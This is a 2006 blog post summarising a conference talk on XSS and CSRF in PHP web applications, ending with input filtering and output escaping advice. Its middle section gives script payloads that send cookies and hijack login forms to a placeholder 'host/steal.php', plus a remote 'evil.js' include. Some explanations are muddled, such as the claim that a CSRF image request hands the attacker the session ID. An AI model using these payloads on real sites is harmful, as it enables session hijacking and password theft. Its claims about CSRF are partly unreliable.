teh bigbro blog(tm)
Bigbro's foray into the scary world of blogging

Wed, 28 Jun 2006

ApacheCon '06 : The Truth about XSS

Chris Shiflett (OmniTI)

The name, Cross Site Scripting comes from the original attack on Geocities - where a domain loaded in a frameset was able to affect content loaded from another domain, also in the frameset. It crossed sites and injected javascript. Browsers protect against this kind of vulnerability in framesets today, but there are other ways to do an equivalent type of thing.

Using PHP in the following context, you can inject any code which will run on the victim's machine.
<?php echo $_GET['user']; ?> ----->
http://blah/script.php?user=%3Cscript%3E... ----->
<?php echo '<script> ... ' ?>

With this, you can steal the cookie for the site being browsed by the user. Often session keys are stored in the cookies, which means you can now possibly hijack the user's session.
<script> document.location = 'http://host/steal.php?cookies=' + encodeURI(document.cookie); </script>

Cross Site Request Forgeries
How about using image loading to grab cookie information. You can hide the image by setting height and width of the image to zero, or using CSS to place the broken image underneath something else, making it invisible to the user.
<script>new Image().src = 'http://host/steal.php?cookies=' + encodeURI(document.cookie);</script>

How about stealing passwords by changing the action of the first form on a page? If the login form isn't the first form, a small bit of trial and error will find out which form it is. This can be made more transparent to the user by using more javascript to further send the same information on to the real server, so the user logs in. This is a basic MITM attack.
<script>document.forms[0].action = 'http://host/steal.php';</script>
How about making the javascript source look smaller - it's simple:
<script src="http://host/evil.js"></script>
Now you can insert as long a script as you like.

We also have to be careful about character encoding - here's why:
A browser such as IE will try to auto-detect the character encoding which means that escaping the output may fail.
<?php
$string = "<script>alert('XSS'); </script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>

Make sure that Content-Type: text/html; charset=UTF-8 and htmlentities($foo, ENT_QUOTES, 'UTF-8'); match.

AJAX is here to stay, and has inspired a new interest in javascript. This means that there's more javascript enabled browsers, more websites running javascript dependant content - and more and more people learning how to exploit XSS because it's more attractive to do so.
It can make XSS exploits more dangerous, because the AJAX security model depends on domain sandboxing.

Case study (CSRF)
A MySpace user, Samy, managed to get 3 million friend requests in 24 hours or so, resulting in the site having to be taken offline for some time to repair the damage.
A CSRF attack comes from the victim's computer, and follows all the rules for http requests. Generally, the victim already has an account so authentication is bypassed (since it's a valid user), and will be from valid IP space, etc., etc.
<form action="buy.php" action="post">
<input type="hidden" name="isbn" value="1234567"></input>


First check to see if the buy.php script will accept GET as well as POST.
If so, set up an image as <img src="http://host/buy.php?isbn=1234567" /> ---->

GET /buy.php?isbn=1234567 HTTP/1.1
Host: host
Cookie: PHPSESSID=1234

So now the attacker has got the session ID for the user's session.

If you don't allow GET, there's still a way. Create the form with width and height 0 and set the layer as transparent in CSS.

MySpace use a one-time token to ensure that any forms that take action have a unique value. This eliminates all the examples shown so far. But XSS can work around the security model for AJAX. The solution is by making the user request the form but request that it be returned to the attacker, rather than the victim. The MySpace worm used AJAX to discover the token to discover the token.
Samy put the AJAX code in his profile, so anyone who viewed his page was added as his friend. He then added the feature that it would also add the code to their profile - so anyone who then viewed their pages would be added as his friend. This led to an exponential growth in friend requests for Samy. I found a technical description here.

[filter] --> [business logic] --> [escape] -->
By escaping the output carefully, we can remove the issues associated with XSS.

Here's an example of how you can put all your clean data in an array. Worst case, an array element is missing since it was dirty in some way, so this needs to be handled...
<?php
$clean = array();
if (ctype_alpha($_POST['name'])) {
$clean['name'] = $_POST['name'];
} else {
/* Error */
}
?>


Let's use 'defense in depth' by still quoting the output, even though we've cleaned up the input. This has shown to be valuable, because sometimes we make mistakes.
<?php /* Content-Type: text/html; charset=UTF-8' */ $html = array(); // Clean the data... $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome {$html['name']}.</p>"; ?>

More information available at:


posted at: 18:27 | path: /technical | permanent link to this entry


copyright © 2005-2008, Gareth Eason